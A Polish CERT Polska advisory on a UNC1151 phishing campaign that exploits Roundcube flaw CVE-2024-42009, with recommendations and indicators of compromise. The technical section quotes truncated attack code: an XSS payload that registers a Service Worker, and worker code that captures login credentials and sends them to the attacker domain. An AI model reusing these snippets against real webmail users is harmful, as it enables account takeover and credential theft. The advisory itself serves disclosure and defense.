Kampania UNC1151 wykorzystująca podatność w oprogramowaniu Roundcube do kradzieży poświadczeń

cert.pl 1 dzień temu

Zespół CERT Polska wykrył w tym tygodniu kampanię mailową wymierzoną w polskie podmioty, wykorzystującą podatność CVE-2024-42009 w oprogramowaniu Roundcube. Podatność umożliwia wykonanie kodu JavaScript w momencie odczytania maila, co zostało użyte w atakach mających na celu kradzież poświadczeń.

Warto dodać, iż w tym tygodniu została opublikowana również inna podatność – CVE-2025-49113, która pozwala na zdalne wykonanie kodu na serwerze przez uwierzytelnionego użytkownika poczty. Mimo iż nie widzieliśmy jeszcze jej wykorzystania, połączenie tych dwóch wektorów może prowadzić do pełnego przejęcia infrastruktury atakowanej organizacji.

Wskaźniki techniczne pozwalają nam z wysokim prawdopodobieństwem wiązać te działania ze zbiorem aktywności UNC1151. Według publikacji firm Mandiant i Google grupa UNC1151 jest łączona z rządem Białorusi, a według innych źródeł ma również związek z rosyjskimi służbami specjalnymi.

Analiza techniczna

Atakujący rozesłał e-maile z tytułem mającym nakłonić odbiorcę do podjęcia szybkiego działania i zapoznania się z treścią wiadomości. W momencie jej otwarcia wykorzystywana była znana podatność w oprogramowaniu Roundcube (CVE-2024-42009).

Podatność CVE-2024-42009

Wykorzystana w tym ataku podatność to błąd w aplikacji Roundcube, pozwalający na wykonanie dowolnego kodu JavaScript w kontekście użytkownika odczytującego spreparowaną przez atakujących wiadomość e-mail. Klienty poczty elektronicznej działające w przeglądarce, takie jak Roundcube, muszą wyświetlić treść e-maila pozwalając na pewien zakres funkcjonalności HTML, ale bez możliwości wykonania niebezpiecznego kodu. Niebezpieczny kod w tym przypadku to taki, który może zmodyfikować elementy interfejsu klienta pocztowego i wprowadzić użytkownika w błąd albo wykonywać inne akcje w jego imieniu. Najpoważniejszą konsekwencją może być całkowite przejęcie kontroli nad kontem poprzez przejęcie sesji użytkownika lub danych uwierzytelniania. Aby bezpiecznie wyświetlić kod HTML, klient poczty elektronicznej musi pozbawić go niebezpiecznych elementów, np. znaczników i atrybutów umożliwiających wykonanie dowolnego kodu JavaScript. Jest to proces zwany sanityzacją i w tym przypadku jest to wyjątkowo trudny problem do rozwiązania. Na przestrzeni ostatnich lat znaleziono wiele podatności tego rodzaju, zarówno bezpośrednio w klientach poczty elektronicznej oraz w dedykowanych rozwiązaniach do sanityzacji kodu HTML. Zespół CERT Polska, badając webowe klienty poczty elektronicznej polskich dostawców w latach 2021-2022, znalazł i zgłosił ponad 20 podatności XSS wykorzystywanych podczas odczytywania wiadomości e-mail, w tym jedną także w oprogramowaniu Roundcube. Podatność CVE-2024-42009 została odkryta przez badaczy Sonar w zeszłym roku.

Warto podkreślić, iż atakujący najprawdopodobniej zakładał, iż administratorzy systemów zaniedbują regularne aktualizacje oprogramowania. Inne podatności typu XSS w Roundcube i podobnych klientach poczty były w przeszłości wielokrotnie używane przez różne grupy APT (m.in. APT28, Winter Vivern), jednak jest to pierwszy przypadek, gdy tę technikę stosuje klaster UNC1151. Na podkreślenie zasługuje również wykorzystanie mechanizmu Service Worker w tego typu atakach.

Złośliwy kod

Złośliwy kod użyty przez atakującego składa się z dwóch części. Pierwsza uruchamiana jest poprzez wykorzystanie opisanej powyżej podatności i instaluje (z kodu dołączonego do wiadomości) tzw. Service Worker w przeglądarce użytkownika.

<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes; animation-duration: 1s; onanimationstart=d=document.querySelector('#attachment-list');if(d)d.style.display='none';n=navigator; u=d?.querySelector('a').href;if(u)n.serviceWorker.register(u) (...)

Service Workery to mechanizmy pozwalające na uruchomienie kodu JavaScript w tle i przechwytywanie wszystkich zapytań kierowanych z przeglądarki użytkownika do domeny z kontekstu zainstalowanego Service Workera.

Po poprawnej instalacji użytkownik jest następnie przenoszony na stronę logowania do poczty funkcją window.location.href='./?_task=login. Druga część kodu, która jest wykonywana w Service Workerze przechwytuje wszystkie próby zalogowania do aplikacji Roundcube i przesyła kopię wprowadzonych danych logowania na serwer atakujących.

self.addEventListener('fetch', event => { (...) if (req.method === 'POST') { const cloned = req.clone(); cloned.text().then(bodyText => { const params = new URLSearchParams(bodyText); const user = params.get('username') || params.get('_user'); const pass = params.get('password') || params.get('_pass'); fetch('https://a.mpk-krakow.pl/creds', { body: JSON.stringify({ login: user, password: pass, (...)

Z informacji uzyskanych od jednego z zaatakowanych podmiotów wynika, iż atakujący po uzyskaniu poświadczeń i zalogowaniu się na przejętą skrzynkę analizuje jej zawartość, pobiera książkę adresową i w niektórych przypadkach używa przejętego maila do dalszej wysyłki wiadomości.

Warto ponownie podkreślić, iż w tym tygodniu ukazała się krytyczna podatność pozwalająca na zdalnie wykonanie kodu dowolnemu uwierzytelnionemu użytkownikowi Roundcube. Nie widzieliśmy jej wykorzystania w tym ataku, ale dodanie jej jako element ataku pozwoliłoby atakującemu na pełne przejęcie kontroli na serwerem.

Zalecenia

Wszystkim podmiotom używającym systemu Roundcube rekomendujemy:

  • Aktualizację systemu Roundcube do najnowszej wersji, w tej chwili są to wersje 1.6.11 i 1.5.10
  • Analizę logów pod kątem połączeń z domeną a.mpk-krakow[.]pl
  • Analizę otrzymanych maili pod kątem nadawców i tytułu opisanego w sekcji IoC

Podmiotom, które były celem ataku, rekomendujemy:

  • Zmianę haseł użytkowników, którzy otrzymali wiadomość
  • Weryfikację aktywności na kontach użytkowników, którzy otrzymali wiadomość
  • Wyrejestrowanie Service Workera - w tym celu będąc na stronie poczty elektronicznej, należy przycisnąć klawisz F12, następnie przejść do zakładki Aplikacje -> Service Workers i wybrać opcję Wyrejestruj
  • Wszystkie podmioty, które otrzymały wiadomość, powinny niezwłocznie wykonać zgłoszenie do adekwatnego dla siebie CSIRT-u poziomu krajowego:
    • CSIRT NASK - incydent.cert.pl
    • CSIRT MON - csirt-mon@ron.mil.pl
    • CSIRT GOV - incydent@csirt.gov.pl

IoC

  • irina.vingriena@gmail[.]com – adres nadawcy
  • julitaszczepanska38@gmail[.]com – adres nadawcy
  • 2001:67c:e60:c0c:192:42:116:216 – adres źródłowy serwera SMTP
  • [!WAZNE] Faktura do numeru rezerwacji: S2500650676 – temat wiadomości
  • 70cea07c972a30597cda7a1d3cd4cd8f75acad75940ca311a5a2033e6a1dd149, Delivery report – sha256 i nazwa załączonego pliku JS
  • a.mpk-krakow[.]pl – domena wykorzystywana przez atakującego
Idź do oryginalnego materiału